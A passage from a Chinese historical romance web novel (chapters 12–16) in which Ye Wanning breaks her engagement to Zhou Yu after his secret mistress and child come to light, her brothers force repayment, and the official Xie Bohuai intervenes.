许竹苓还跪在地上,屋内不知静了多久,她怯怯地抬头看去,“表哥,叶婉宁她会不会……” “不会的。”周钰深吸一口气,“她心里有我,不会与我退婚的。叶家虽然比不了以前,但叶家旁支众多,他们不会因为这个事,就让叶婉宁和我退婚。但你……还是先回老家去吧。” 不等许竹苓反应过来,周钰叫来风染,“你送表妹去驿站,即刻出发。” 他累了。 不送走表妹,叶家那里无法交代。 许竹苓哭了出来,老家没有亲戚,周母也要来京城了,这么回去,什么时候才能回来? 她清楚周钰的野心,他们的那点情谊,怕是撑不了多久。 一定不能回去! “表哥,不如你把我安排到城外?”许竹苓保证,“以后没有你的吩咐,我绝对不来周家。你别让我回去好不好,我一个弱女子,没人护着我,要我如何安身立命?” 周钰歪过头,他是打定主意,要送走许竹苓。 任由许竹苓哭泣,周钰都没心软,过了好一会儿,周钰才去拉许竹苓,“表妹,你向来最懂我,现在不是我要你走,是情况不得不让你走。你还信不过我吗?我都是为了咱们的以后,你别让我为难。” 话说到这个地步,许竹苓知道周钰动了气,“我……我都听表哥的。” 顺从,才是周钰最喜欢的。 许竹苓擦了眼泪,“表哥要照顾好自己,枫哥儿那,我想见见他再走,可以吗?” 周钰想说没这个必要,看许竹苓哭红了眼睛,还是点了点头。 只是他们没想到,奶娘抱着枫哥儿来了。 周钰当场发火,“谁让你把枫哥儿抱过来?” 枫哥儿吓了一跳,哇哇大哭,许竹苓赶忙把儿子接到怀里。 奶娘说了被赶出来的事,“王家一点情面都不给,当着其他人的面,直接说姑娘是外室。我也是没办法,不来周府,没别的地方可以去啊!” 周钰和许竹苓都没料到会有这种事,房子是周钰找人租的,他没有出面,可奶娘一路抱着枫哥儿过来,肯定有人看到。 来不及多想,周钰让许竹苓抱着枫哥儿一起走,叶婉宁已经怀疑他了,绝对不能让叶婉宁看到枫哥儿。 许竹苓被推着离开,一步三回头地想为儿子说话,她走可以,但枫哥儿是表哥的血脉,他得留下。 就在这时,许竹苓看到走进院子的周母,或许是没料到周母能来得那么及时,许竹苓愣住了。 周母衣着朴素,脸上沟壑横卧,看到许竹苓脸上的泪痕,皱眉问,“怎么回事?” “姑……姑母!”许竹苓委屈地哭了出来,枫哥儿又一块哭,心疼得周母跳脚。 “我的乖孙儿,快别哭了,祖母心都要碎了。”周母抱住枫哥儿,让许竹苓快说怎么了。 许竹苓颤颤回头,周钰走到了门口,他们都知道,许竹苓母子一时半会走不了了。 几人回去坐下,许竹苓说完近日发生的事之后,周母拍桌道,“这个叶婉宁,还说是大家闺秀,我看和个泼妇没两样。竹苓一个弱女子,说赶出来就赶出来,她眼里还有没有周家了?” “母亲,您先别激动。”周钰身上还有伤,坐着难受。 “你让我怎么平静得下来?”周母深吸一口气,开始捋袖子,“竹苓可是我娘家唯一的血脉,她被人欺负了,我还要忍气吞声?我不同意送走竹苓母子,有本事叶家就来退婚,我倒要看看,他们叶家怕不怕人说道?” 离开自己儿子,周母不信叶婉宁能找到更好的人。 母亲的见识浅薄,让周钰很头疼,但面对母亲,周钰又不能强硬起来,只能好言好语地劝道,“又不是走了不回来,不过是回去休养一段时间,母亲别生气,您也不想因此影响我的前程吧?” “不过是点风流韵事,怎么就影响你前程了?”周母不觉得是大事,“你已经高中状元,是叶家配不上我们家了,干嘛还小心翼翼哄着叶婉宁?要我说啊,干脆借此机会和叶家摊牌,等叶婉宁进门后,便让竹苓当平妻。叶家不同意更好,你直接娶竹苓便是。” “母亲,您得为儿子的名声着想啊!”周钰心累,遇上许家的事,母亲便是这般不讲道理。看许竹苓抱着枫哥儿不出声,周钰无奈道,“不论如何,表妹和枫哥儿不能住在周府,我会给他们另外安排住处。母亲还不肯听儿子的,儿子干脆辞官回乡好了,免得在京城被人笑话。” “你怎么回事?”周母觉得儿子一定是被叶婉宁蛊惑了,以前乖巧孝顺的儿子,竟然会威胁她。这个叶婉宁不得了,她迟早要去会会! 关于许竹苓和枫哥儿的去留,最后还是周钰安排他们去了驿站,至于什么时候走,周钰没说,许竹苓心里松了口气。 而王家那,王夫人得知奶娘抱着孩子去了周府,她是个率性的人,年轻时夫君偏宠外室,差点因此休了她。后来还是她娘家厉害,在官场上压制住夫君,她才没被赶出王家。自此,她对外室这类人物,是恨之入骨。 王夫人见过叶婉宁几次,很喜欢叶婉宁这种端庄大气的闺阁小姐,想到叶婉宁马上要和周钰成婚,尽管觉得不妥当,还是让人把消息传了出去。 “希望叶家听说后,能去查一查,若他们还是要结这门亲事,就当我瞎了眼。”王夫人和贴身嬷嬷道。 “可是夫人,如此一来,您不是得罪了周家吗?” “我怕他吗?我活了几十年才弄懂一个道理,什么面子里子,都不如自个儿快活最重要!”王夫人没把周钰放在眼里,一个没有家世的状元郎,等他身居高位,还不知道要过多少年。 王家放了话出去,次日便在京城传得沸沸扬扬。 这次不止叶明岳知道,叶家除了老夫人,其余人都知道了。 叶婉玉气得牙根疼,想去周家质问怎么回事,可流言还没被证实,怕姐姐听到伤心,难得地收起性格,小心翼翼地派人去打听。 林氏也怕叶婉宁想不开,一早过来看叶婉宁。 只是林氏刚进屋,话都没说,婆子来传话,说周夫人来了。 “想来是为了周钰的事,特意来和妹妹解释。妹妹在这里等我,我帮你去会会她。”林氏安抚道。 “我与大嫂嫂一块去吧。”叶婉宁和林氏浅浅笑着,她大嫂太柔弱,对上泼辣的周母,肯定要吃亏。她早就猜到周母会上门,要的就是周母来闹,别人才会说是周家不可理喻。 第12章 泼妇 对于周钰,林氏还报了一些希望。 周钰在叶家生活的这几年,谦逊有礼,看着实在不像会做混账事的人。 或许是有什么误会,外边人只说那外室的奶娘带着孩子去了周钰府上,或许是相熟而已。 林氏不希望流言是真的,大妹妹和周钰的婚期在即,要是真的,让大妹妹怎么办? 退了婚的姑娘,只能往低处找,更别说叶家在朝中没有厉害的人撑腰。 余光瞥见大妹妹,林氏很心疼,进屋前小声安抚,“妹妹你别着急,一切有我和你大哥哥呢。”她是大嫂,平日里不顶事就算了,这种时候一定要撑起叶家的脸面。 看大嫂强装镇定,叶婉宁心中叹气,周家这些麻烦事,她得快些解决了才好。 二人进了正厅,周母抬头看了过来,林氏正经行礼,叶婉宁在边上虚虚地躬了下。 周钰不让周母过来,说他自个儿会来叶家说清楚,但周母心疼儿子,趁着周钰还没出门,赶忙让人套了马车。 她对叶婉宁处处不顺眼,什么大家闺秀,能去宅院门口赶人的,就不是个有教养的。 叶家人还没说话,周母先摆起款来,端着架子道,“昨儿我刚到京城,听说了一点事,不是我小心眼,是我们两家要成为儿女亲家。今日当着婉宁的面,我就直接说了,你有什么事不可以关起门来说吗?何必把事情闹得人尽皆知?竹苓是我许家的姑娘,我许家丢人了,你有什么脸面?” 林氏以为周母是来解释流言和道歉的,没想到,周母一上来就指责妹妹,饶是她脾气再好,这会也放下脸来,“周夫人,您这话什么意思,我大妹妹按规矩办事,哪里会没脸面?” “按规矩?真按规矩,她就不该去闹,别说我儿和竹苓没什么,就算真有什么,她也该大度接纳竹苓。一个没过门的姑娘,如此善妒,不是没教养是什么?”周母并不觉得儿子和侄女做错了什么,“今日我来,就是与你们说清楚,不要在意外边的流言。我娘家只有这么一个侄女了,我不可能把竹苓送走,婉宁接受不了,这门亲事就算了。” 她以为,叶家听到这里便会怕了。 这年头,谁家姑娘在成亲前被退婚,名声就坏了。她儿子中了状元,应该是叶家巴结他们,没了叶婉宁,还能成全儿子和侄女,这是多大的好事。 周母打心眼里看不上叶婉宁,语气里也没了尊重。 林氏脸红了又白,他们叶家还没提退婚,周母却先提起来? “周夫人,你是认真的吗?”林氏胸口憋着一口气,但退婚是大事,她不敢贸然应下,“这是你的意思,还是周钰的想法?” “有差别吗?”周母哼了一声,今天叶婉宁不给他们周家道歉,她绝对不会要叶婉宁这个儿媳妇。 林氏:“你!” “不曾想,流言竟然是真的。”叶婉宁见大嫂败下阵来,轻声叹了句,“周夫人说我没规矩,我倒是不懂了,没成亲就养外室,这算是什么规矩?” “什么外室,我不是说了不是吗?”周母不承认。 “那您闹什么呢?”叶婉宁继续反问,“按理来说,平常人家出了丑事,第一时间都是来道歉。您反而来我家闹,是自个儿心虚了,想要在气势上先压叶家一头,让我们被迫接受是吗?” 只要叶家对外申明,周钰没有养外室,叶家还愿意和周家结亲,流言就不算什么,用不了多久,会被新的谈资给取代。 “你说什么呢?我有什么好心虚的?”周母快站起来,习惯性抬头想去指叶婉宁,意识到这不是在村里,又哼了一声坐下。 叶婉宁冷笑,“您心虚什么,您自个儿清楚。您说我善妒,这个我可不认。我们叶家的教养,也不容许你来质疑,既然周夫人觉得叶家配不上周家,这门婚事就此作罢吧。强扭的瓜不甜,周钰在我叶家这些年的吃吃喝喝,我会算清楚,派人送到周家。” “婉宁!”林氏急了,赶忙给大妹妹使眼色。 叶婉宁安抚似地拍拍大嫂的肩膀,“我知道大嫂心疼我,可你也看到了,周夫人吸引维护娘家侄女,话里话外都看不上我,就算我嫁过去,你觉得我有好日子过?还有一点,从头到尾,周夫人都没明确表示,周钰和许竹苓没有孩子,你看啊,不否认不就是默认了吗?” 林氏哑口,皱眉沉思。 周母忍不住站了起来,“叶婉宁,你不要血口喷人!” “那周夫人敢不敢发誓,用周钰的前程和子孙发誓,如果周钰和许竹苓有孩子,周钰会官场失意、断子绝孙!”叶婉宁带着恨意说出这话,看着周母,想到上辈子被蹉跎的日子。 前世的周母,同样对她百般挑剔。 她以为可以日久见人心,只要自己坚持孝顺,总有一日能感化周母。 事实证明,是她想错了。 夏日被罚站,小日子泼冷水,动不动发火让叶婉宁罚跪。只要叶婉宁开口辩解,周母就用孝道来压叶婉宁。 那时的周钰,总会在事后马后炮,“婉宁别和母亲计较,她只有我一个儿子,所以对你的期望大了点,她是为了你好。” 为她好? 现在想来,都是笑话。 看着周母要吃人的眼神,叶婉宁不甘示弱地加重语气,“周夫人,您敢吗?” “叶婉宁,我要撕烂你的嘴,你竟然敢诅咒我儿子!”说着,周母朝叶婉宁扑了过来,但被几个婆子给拉住。 到了这会,周母被彻底激怒,叶婉宁达到目的,让婆子们把周母丢出去。 周母是来摆架子的,却受了一肚子气,被丢到叶府门口后,指着叶家牌匾破口大骂,“你当你们还是以前啊,一家子破落户,还敢诅咒我儿子,也不撒泡尿看看你叶婉宁什么样子!就算我儿子养外室,那也比你强,他可是新科状元,你们叶家没一个顶事的!” 一口气骂完,周母才发现四周围了人。 好些人都听说了周钰养外室的事,又有人说,周钰的外室是前几日被叶家赶走的表妹。现在听周母这话,大家对此深信不疑。 “都看什么看?”周母还没意识到事态严重,在村里时撒泼习惯了,特别是过去一年,从儿子中了状元后,她在村里都是横着走。 有看不下去的人,开口道,“我说你怎么那么不要脸?你儿子吃软饭,还养外室,你还好意思在这里骂街?果然上梁不正下梁歪,有你这种母亲,难怪周翰林能干出这种事。” “就是,真是可怜叶家大姑娘了,才貌双全的一个人,竟然配了个陈世美。” “叶家倒霉,摊上这种亲家,我活这么大,还是头一回瞧见泼妇骂街。所以说啊,结亲还得是门当户对,叶家当年太仁慈了,周翰林父亲死的时候,就该退了这门亲事!” …… 众人越说越激动,叶家大门紧闭,叶婉宁要的就是这个效果。 周母嗓门再大,也盖不过一群人,一口气快上不来时,周钰来了。 周钰还没靠近,听到众人在说的话,差点气晕过去。他不让母亲早早来京城,便是这个原因,母亲出身太低,没什么见识,现在果然闯祸了。 硬着头皮挤进人群,拉住母亲要走,却听母亲和他哭诉,“我的儿啊,你可算是来了,你再不来,我都要被叶婉宁那个贱人欺负死了!这门婚事不要也罢,她叶婉宁配不上你!” 周钰两眼一黑,脚下一踉跄,若不是风染扶住他,他就摔在地上了。 母亲当着那么多人说退婚,完了,这门婚事是真要完了。 第13章 翻脸退婚 周家母子离开后,在门后的福生去了德容苑回话。 外边的流言,林氏他们可以拦住,今日周母来了一趟,老夫人那便瞒不住了。 正好进展差不多了,叶婉宁和林氏一同去德容苑,没过多久,叶婉玉姐妹也来了。 叶婉宁缓缓说了见周母的经过,一边观察着祖母的神色,“这些日子,外边流言四起,但孙女与大嫂想着流言还没证实,暂时别让祖母跟着操心。今日周夫人上门一趟,孙女是看清楚了,周家并不是个好去处。” 话音刚落,婆子进来说福生来了。 叶老夫人方才气晕一次,抿了两口参茶才有点精神,“让他进来回话,我倒要看看这个许氏,还能说出什么样的话来?” 福生进屋后,先看了叶婉宁一眼,才小心翼翼回话,“周夫人的意思是,流言是真的,但那又怎么样,退了婚正好,可以让周翰林和许姑娘成婚。在门口骂咧咧了好一会儿,是周翰林把人给带走的。” “她个无耻泼妇!”叶老夫人出身世家,说不出肮脏字眼,拍着胸口用力喘气,边上的冯嬷嬷帮忙顺气。 “祖母别生气,气坏了身子不值当。”叶婉宁蹲在祖母跟前,“您应该往好处想,在嫁给周钰前看清他们一家的真面目,这是好事。不然等孙女嫁过去,岂不是要天天以泪洗面?” “我的婉宁诶,你是我看着长大的。从你爹娘过世后,你便长大了不少,小小年纪帮着打理家事,别人怎么说你,你都忍着。我想着周钰中了状元,你总算熬出头了,结果周钰是个黑心肝的!”叶老夫人抱着叶婉宁痛哭。 其他人同样落泪,叶婉玉说不能就这么放过周家,“以前我就觉得周钰这人假假的,他吃我们家的、用我们家的,却连孩子和外室都有了,怎么对得起大姐?我看啊,不仅要退婚,还得让哥哥们去找周钰要个说法,这么多年用在他身上的钱财,全都还给我们!” 林氏拉拉叶婉玉的手,示意她别拱火了。 叶婉宁却赞同道,“二妹妹说得对,我们不能让人白白欺负了去。” “这样好吗?”叶婉华胆子最小,向来是个没主意的。 叶婉宁说没什么不好,“周钰能做出这种事,咱们还要顾及他的脸面吗?之前叶家愿意供他读书,是把他当未来女婿看待,既然要退婚,应该把这些钱都要回来才对。如果周钰不给,咱们让全京城的人都看看,他周钰是怎么偷人又吃软饭的!” 说完,叶婉宁让人去找哥哥们回来。 叶老夫人哭了几次,情绪稍微稳定一些,拉着叶婉宁的手道,“咱们家占理,不怕和周钰退婚,可你以后怎么办啊?” “祖母不用替我担心,日子是自己过的,若是没有合适的夫婿,我带着云芝去庄子上住,并不会耽误妹妹们成婚。大哥大嫂都是宽容的人,不会少我一口饭吃。”叶婉宁早就想好退路。 叶老夫人却说不行,“让你去庄子住,我如何对得起你爹娘?是周钰有眼无珠,不懂得珍惜你,咱们先和周家退了亲,祖母一定帮你找个更好的夫婿!” 女子嫁人是第二次投胎,好在叶婉宁的家人不是迂腐的老古板,他们疼她、爱她,愿意为了叶婉宁去和周钰翻脸。 等叶明岳和叶明德回来后,听说了周母上门闹事,沉稳如叶明德,都气得砸了茶盏,“欺人太甚!” “退婚,一定要退婚!”早就知道周钰真面目的叶明岳,配合地道,“周钰那个王八蛋,抢劫的人应该打废他才是!” 说周钰,周钰就到了。 门房说周钰到了门口,要亲自给大姑娘道歉,并和叶家人请罪。 叶老夫人说不见,“不用他请罪,我们叶家担不起!” 叶明德是一家之长,从大家族上考虑,还是让门房把人带到前厅。 叶明岳想都没想,先跑去前厅,等叶婉宁他们赶到的时候,周钰蜷缩在地上,叶明岳不解气地又踹了两脚,“让你欺负我妹妹,真当我叶家没有人是吗?” 周钰疼得呕吐,毫无形象可言。 看二哥哥打得差不多,叶婉宁才过去道,“二哥哥别气了,打他都浪费你的力气。” “婉宁,我……我是来给你道歉的。”周钰不是他母亲,他很清楚想要快速往上爬,需要一个好名声。现在能挽回他名誉的,只有叶婉宁,他跪在叶婉宁面前,“是我糊涂,是我错了,但我与表妹从没情谊,孩子是醉酒后的意外。我从没想过接受表妹,我的心里只有你。叶家对我大恩大德,我哪里会做出这种忘恩负义的事,之前的那些事,包括我母亲今日上门,我都不知情的!” 周钰说他可以对天发誓。 叶婉宁垂眼时,只有滔天恨意,“周钰,我不需要你的道歉,更不会相信你的话。你要算个男人,大方认了自己做的事,别再来找我纠缠。” “不,我不能没有你。”周钰用力摇头,“我可以对天发誓,此生绝不纳妾,只会有你一个女人。表妹和孩子,我也会远远送走,至于母亲,她生我养我,我应该在她跟前尽孝,你能体谅我的吧?” “不能!”叶婉宁态度坚决,“从你母亲辱骂叶家起,我就不可能把她当成长辈看待。周钰,你真是让我失望透顶!” 说完,叶婉宁转头去看她二哥。 叶明岳立马会意,拖着周钰往外走,“从今往后,别让我看到你,不然见一次,我打一次!” “二弟!”叶明德让叶明岳注意形象,但叶明岳不在意这个。 叶婉宁拿出准备好的婚书和信物,交给大哥,“辛苦大哥替我跑一趟了,除了退亲,周钰这些年用叶家的,也得让他还回来。” “你我是亲兄妹,不说辛苦这种事。”叶明德看着亭亭玉立的大妹妹,明明懂事乖巧,别人说到都是夸的,却遇到周钰这种混账。他心疼妹妹,面上不敢表露太多,怕妹妹有压力,“你放心,周家把事情做得那么难看,我也不会顾及双方脸面了,该拿回来的,都会讨要回来。” 叶婉宁“嗯”了一声,这次的事,彻底惹恼大哥哥,他和二哥哥都不会轻易放过周钰。 此时的叶明岳,把周钰丢上马车,正好遇到谢泊淮主仆骑马经过。 谢泊淮勒住缰绳,刚停下来,便听路人问叶明岳去做什么。 “去周家给我妹妹退婚,同时要个说法!”叶明岳坐上车辕,有他在,不管是周钰,还是周夫人那个泼妇,都别想讨到好处。 退婚?谢泊淮看着叶家的马车,掉转了马头。 “大人,您去哪啊?镇府司在东边呢!”青山不解地追了上去。 第14章 要钱 周家。 周母很不服气地拉着许竹苓哭诉,“你表哥变了,他不听我的了。叶婉宁有什么好呢?她哪都不去你啊!” 许竹苓心里也是这么认为,但她来了京城后,见识过许多繁华,知道世家大族不仅看自个的才能,还有身后家族的势力,“姑母别生气,表哥有他不得已的苦衷。” “他是猪油蒙了心,非要说叶婉宁好,真是个不孝……” 周母还没骂完,院子里乱哄哄的。 许竹苓走到窗边看了看,瞧见脸上更肿的周钰,急忙忙跑出去,“表哥,你怎么了?” 叶家兄弟看到许竹苓,特别是叶明德,瞬间变了脸,“废话少说,今日我把信物带来了,你们先把婚书拿来,我们两家,以后老死不相往来!” “大哥,我……”周钰还想争取一下,结果他母亲从屋里跑出来,哭天喊地地抱着他,“我的儿啊,是叶家把你打成这样吗?报官,咱们得报官,天子脚下,叶家无法无天!” “母亲!” 重重的一声,周钰是扯着嗓子喊出来的。 周母愣住了,向来听话的儿子,竟然对着她吼,错愕地看着儿子,好半天缓不过神来。 周钰深吸一口气,“母亲,您就别闹了。您知不知道,您再这样不讲道理,我所有前程都完了!” “你……你在怪我?”周母不敢置信地看着儿子,“周钰,你有没有良心,你幼年丧父,叔伯都不愿意供养我们母子,是我千辛万苦把你带回娘家。如果不是我和许家,你能考中状元吗?” 周钰头更疼了,他无力再劝,给许竹苓使了个眼色。 许竹苓过去搀扶周母,却被周母一把推开。 叶明岳把信物丢给周钰,“我们没时间在这里听你们母子吵架,先把婚书拿来,咱们再算账。” “算账?算什么账?”听到叶明岳要钱,周母又不哭了,刷地跳了起来。 “这些年,周钰用我家的钱,是不是得还回来?”叶明岳没好气道。 “凭什么还给你?”周母不肯,“是你们自愿给的,现在又来要回去,真他娘的不要脸。口口声声说世家大族,没想到连这点钱都要计较,我呸,你们才是一群无赖,坏了我儿子名声,现在还来挑拨我们母子关系,一家子黑心肝的杂种!” 叶明德是读书人,没听过那么脏的话,叶明岳淡定许多,“我说周夫人,你开口闭口都是污言秽语,谁给周钰丢人,你不清楚吗?你们周家干出那么不要脸的事,我倒要看看,你们还能多不要脸!” “谁不要脸了?小兔崽子,你说谁呢?”周母捋袖子就要打人,直到周钰大喊一声。 “够了!” 周钰忍无可忍,“竹苓,你把母亲带回房间去。”他眼神阴鸷,若不是亲生母亲,周钰早就动手了。 许竹苓头一回看周钰脸色那么阴沉,尽管周母再不愿意,还是把人拉走。 周钰看着叶家兄弟,“大哥二哥,你们能不能再给我一个机会,我对婉宁是真心实意。老话说,宁拆十座庙,不毁一桩婚,我与婉宁青梅竹马,是从小到大的情谊,你们能不能……” “不能!”叶明岳打断道,“就你母亲的泼妇样,我也绝对不会让妹妹嫁到你们周家,麻溜点把婚书拿来,别逼我们自己动手!” 话说到这里,再没有转圜的余地。 周钰心中那个恨啊,无法用言语来表达。 退婚已成定局,和叶家也撕破脸了,周钰让风染拿来婚书。至于还钱,那是不可能的,他没有这个钱,就算有,也不会给叶家。 叶明岳确认婚书没有错,再算了算周钰应该还的钱,“一个月五两月银,书院的束修,和其他的开销,这些年加起来,你还我五百两银子就好。你放心,我们叶家做事从不占人便宜,你花的只会多不会少。” “五百两?”周钰皱眉,“叶二,当初是叶家自愿供我读书,并不是我主动要求的。你们送给我的钱,现在却要回去,这就是世家做事的气度吗?” 顿了顿,周钰反讽,“还是说,叶家已经穷到,没有这五百两银子,就过不下去了?” 叶家确实缺钱,周钰清楚叶家的情况,故意这么说。 既然撕破脸,便没必要给叶家留面子。 叶明德脸颊涨红,按理来说,叶家确实不该计较这点钱。但周钰做事过分,不要回点什么,他对不起死去的爹娘。 叶明岳不在乎名声脸面,“我们会供你读书,是因为把你当未来妹夫。如果是普通退婚,这五百两我们也不会要,但你干出那么多不要脸的事,如此羞辱我妹妹,我就一定要回银子。周钰,你是没钱,拿不出来吗?” “是又如何?”周钰破罐子破摔,“难不成,你们敢动手抢吗?” 都是有官职有身份的人,叶明德不好下令抢,而且他们去搜,周家也没这个钱。 在叶明德为难怎么办时,谢泊淮带着人进来了。 刚进院子,谢泊淮道明来意,“殴打周翰林的地痞已经发现,他们死在破庙里,这些东西是他们身上找到的,周翰林看看是不是你的?” 人已经死了? 周钰瞥了一眼,点头说是。 谢泊淮把东西还给周钰,却没离开,转而问叶明德怎么在周家。 叶明德不愿意多说家里的事,叶明岳不怕事大,快速说了遍退婚的事,“指挥使大人评评理,他周钰拿着我们叶家的银子养外室,连孩子都有了,我们是不是该把这个钱要回来?” 与谢泊淮一同来的有十个人,他们没想到能听到叶周两家秘事,一个个看着面色淡定,心里都在嘀咕。 周钰面红如血,刚刚是在他自个儿家里,不管他怎么耍赖,都不会有其他人听到。叶明岳这个无赖,为了拖他下水,连叶家名声也不管了。 “大家一起说说,我来要钱,错没错?”叶明岳看向众人,“反正啊,你周钰一天不还钱,我就天天缠着你。我去衙门告状,去敲登闻鼓,反正我没事干,有的是时间和你耗。” “叶二,你……你就不怕败坏夜里名声吗?”周钰咬牙道。 “我自个儿做的事,和叶家有什么关系?”叶明岳不喜读书,名声好坏,他都无所谓。 “我觉得要还。”谢泊淮突然插了一句。 所有人看向谢泊淮。 第15章 好龙阳 叶明德和周钰都没想到谢泊淮会管这事,不是说镇府司很忙吗? 今日阳光颇好,落在谢泊淮脸上,比往常多了几分温润,他看着周钰,“为官做事,讲究一个问心无愧。周翰林,近来京城关于你的流言够多了,你该想想,有没有得罪过人。” 不然捅到皇上跟前,皇上会怎么看?同僚们还愿不愿意和周钰接触? 不说别人,就是叶家,周钰已经得罪得透透的。 周钰满头是汗。 叶明岳立马附和,“是啊周钰,我是见不到皇上,但我大哥可以上折子。知道你没钱,那就把宅院抵给叶家。” “不行!”周钰当场拒绝,没了宅院,他们一家子住哪里? “这可由不得你说了算。”叶明岳拉着他大哥要走,“大哥,我们先去官府报案,看看他周钰以后还有什么脸面在京城立足。” 周钰着急拦人,但他一身伤痛,追不上叶家兄弟。 周母在屋里听得着急,推开许竹苓跑出来,指着谢泊淮骂,“你算个什么东西,我们与叶家的事,要你来管?” 此话一出,连叶明岳都停下脚步。 谁人不知,镇府司的谢泊淮,就是阎罗王转世,光是周母这句话,谢泊淮杀了她都可以。 周母是不知者无罪,她不知道谢泊淮是什么人,更不清楚谢泊淮身居高位,见所有人都看着她,接着道,“长得倒是人模人样,却爱多管闲事,干脆割了裤裆那玩意,去村口当个女……啊!” 一声尖叫,惊起树梢的麻雀。 谢泊淮丢出的飞镖,割破周母的发髻,插进后面的门框。 周母头发散开,中间秃了一块,伸手摸了摸,两眼一黑,晕死过去。 秃了那么大一片,她往后没脸出门见人了。 谢泊淮看向周钰,“再有一次,割断的就不是她的头发。” 谢泊淮杀气凌然,周钰不自觉地发颤。他知道,谢泊淮真能下杀手。 “谢……谢泊淮,你……” “我什么我?”谢泊淮黑着脸,“你是觉得我脾气好,有功夫陪你玩闹是吧?今儿个我就管了这门闲事,要么还钱,要么我陪叶家兄弟去报官。二选一,我只给你三声的时间考虑。” “一。” “二。” …… “我给房子!”周钰大声打断谢泊淮的数数。 不能去报官,一定不能。 见了官,流言会被证实,周钰这辈子也就到头了。 房子没了可以再买,最重要的还是他的前程。 叶明岳伸手道,“既然如此,把房契交出来,今日就搬走吧。” “那么急?”周钰皱眉。 “对啊,我们就是不讲情面。”叶明岳笑着去看大哥,“大哥带着房契回去,我留在这里看着周家搬走。妹妹他们等得急了,肯定想快点知道好消息。”说完再和谢泊淮道谢。 谢泊淮看着周钰拿出房契,才带着人离开。 青山跟着主子回到谢家,心里有许多疑问,但主子黑着一张脸,就算他脑子再不机灵,这会也不敢多问。 书砚来说老爷要见主子。 谢泊淮浓眉挑起,“有事?” “好像是为了三爷您的婚事。”书砚屏息静气,谢家情况复杂,为了主子的婚事,老爷和夫人不知吵了多少次。 谢泊淮庶出,还是谢老爷的老来子,谢夫人不喜欢这个样样出色的庶子,挑的都是一些寻常人家的女儿,谢老爷却对他寄予厚望,不满意谢夫人挑的儿媳后,亲自给谢泊淮挑选媳妇。 “不见。”谢泊淮言简意赅,坐下看书。 话音刚落,谢老爷迈过门槛进来。 “你倒是摆起老子谱来,要我这个当爹的来找你。”谢老爷头发半白,却声如洪钟,“我帮你告好假,明日你和我去户部尚书家。这些年,你替皇上办事,手段狠绝,得罪了不少人。不找个得力的岳家,等我百年后,没人护得了你。” “不需要。” “什么不需要,你以为你是靠你自己,走到今天的吗?没有老子,你屁都不是!”谢老爷拍桌起身。 谢泊淮眉心拧成川字,面对亲爹,气势不减,“那你死一个让我看看,我需要谁来护着?” “你!谢泊淮,你这个逆子!”谢老爷大口喘气,“这个不要哦,那个看不上,你到底想娶什么样的姑娘?” 这个问题,青山也很想知道,下意识往主子看去。 谢泊淮瞪了眼青山,“我要的,自然是全京城最好的姑娘。别什么歪瓜裂枣都往我这里送,户部尚书家的女儿脸有青斑,实在想结亲,不如父亲休妻另娶。” “谢泊淮,你去哪里,你给老子回来!”谢老爷一口气喘不上来,由书砚扶着坐下,“你们这些伺候主子的,平常不劝劝他吗?谁家儿郎像他这般不顾及名声。书砚,我问你,你主子一而再地拒绝相看姑娘,他是不是心里有人了?” “又或者,他在外边养了人?”谢老爷相信谢泊淮干得出这种事。 书砚摇头说没有,“三爷公务繁忙,每天早出晚归的,不可能养外室。” “那我就奇了怪了,他都二十一了,对女人一点兴趣都没有,难不成好龙阳?”谢老爷皱紧眉头,“他要是真敢干出这种大逆不道的事,我一定把他逐出家门!” 书砚心想主子巴不得离开谢家,要不是老爷用孝道压着,主子早就分家单过了。 外室肯定没有,至于心上人…… 书砚微不可见地弯了弯唇,送走老爷后,把老爷用过的茶盏都丢了,主子不喜欢屋里留着别人用过的东西。 此时夕阳微沉,谢泊淮骑马经过周家附近,看到周钰的马车从眼前经过,他正准备回镇府司时,叶明岳和他招了招手。 “谢大人,今日多谢你帮我们说话。”叶明岳和谢泊淮一同读过书,交情不深不浅,但叶明岳一直对谢泊淮印象不错,“改日等你得空了,我请你喝酒。” “不用改日。” “什么?” “今日就好。”谢泊淮正想喝酒。 叶明岳想说家中正等他回去,可面前的人是谢泊淮,多好的机会,心思转了转,“谢大人若是不嫌弃,不如与我回叶家坐坐,说起来,咱们还是远亲呢。” 做好了被谢泊淮拒绝的准备,叶明岳都在想附近有什么酒楼时,不知是不是他错觉,有冷面阎王名声的谢泊淮好像笑了下,随即和他说了个“好”字。 第16章 离心 叶家人看到谢泊淮时,都很惊讶。 叶婉宁拿到婚书和信物后,安抚过祖母,便和妹妹们在前院等二哥哥回来。 “谢大人帮了我们大忙,我邀他来家中做客。”叶明岳笑嘻嘻地凑到大妹妹边上,“大哥把房契给你了吧?” “嗯。” 叶明德的意思是,周家的房契应该给叶婉宁,当作补偿。 但叶婉宁没要,周钰花的是叶家的钱,又不是她自个儿的私房,她让大哥拿去卖了,正好用来买粮。 回答完二哥哥,见谢泊淮看向自己,想到妹妹们惧怕谢泊淮,让二哥哥好好招待谢泊淮,她带着妹妹们先回去。 “我妹妹们脸皮薄,今天家里出了那么大的事,她们心里肯定难受着。来来,谢兄,我早就仰慕你的办事风格,我珍藏了几瓶好酒,今日我们不醉不归!”叶明岳好交朋友,不管三教九流,还是世家公子,只要他看得顺眼的,都愿意来往。 叫上叶明德作陪,三人在大房处喝酒,林氏则是去找了叶婉宁几个。 姑嫂们用饭时,大家默契地不提周钰的事,叶婉宁看大家拘谨,用过饭便自个儿去了园子里。 不曾想,碰到了谢泊淮。 月光微弱,谢泊淮身影高大,叶婉宁一眼认出了他。 隔着两丈的距离,叶婉宁又后退一大步。 “叶大姑娘很怕我?”谢泊淮声线清冷,和他这个人一样,听着不太好相处。 “不是。”叶婉宁说男女有别,“谢大人怎么会来园子里,哥哥们呢?” “他们醉了。”谢泊淮看叶婉宁一直垂着头,还真是怕他。 不怪她,哪个闺阁小姐看到杀人,都会害怕。 叶婉宁有些惊讶,大哥哥不胜酒力,但二哥哥可是千杯不醉,竟然输给谢泊淮? 她抬头看去,正好对上谢泊淮漆黑的眸子,一种扑面而来的压迫感,提醒她尽早告辞比较好。 不知谢泊淮是不是看出她想走,又问了句,“叶大姑娘难过吗?” 这是什么问题? 叶婉宁想了想,才想到谢泊淮问的是周钰的事,说不难过,显得她太假。但是难过吧,又说不上,今天更多的是畅快。 “日子得往前看,难不难过都不重要。”叶婉宁想了个模棱两可的回答,但在谢泊淮听来,便是难过的。 “姑娘倒是豁达。” 不知是不是叶婉宁听错了,谢泊淮的尾音带了点笑意,这是什么意思?笑她没心眼吗? 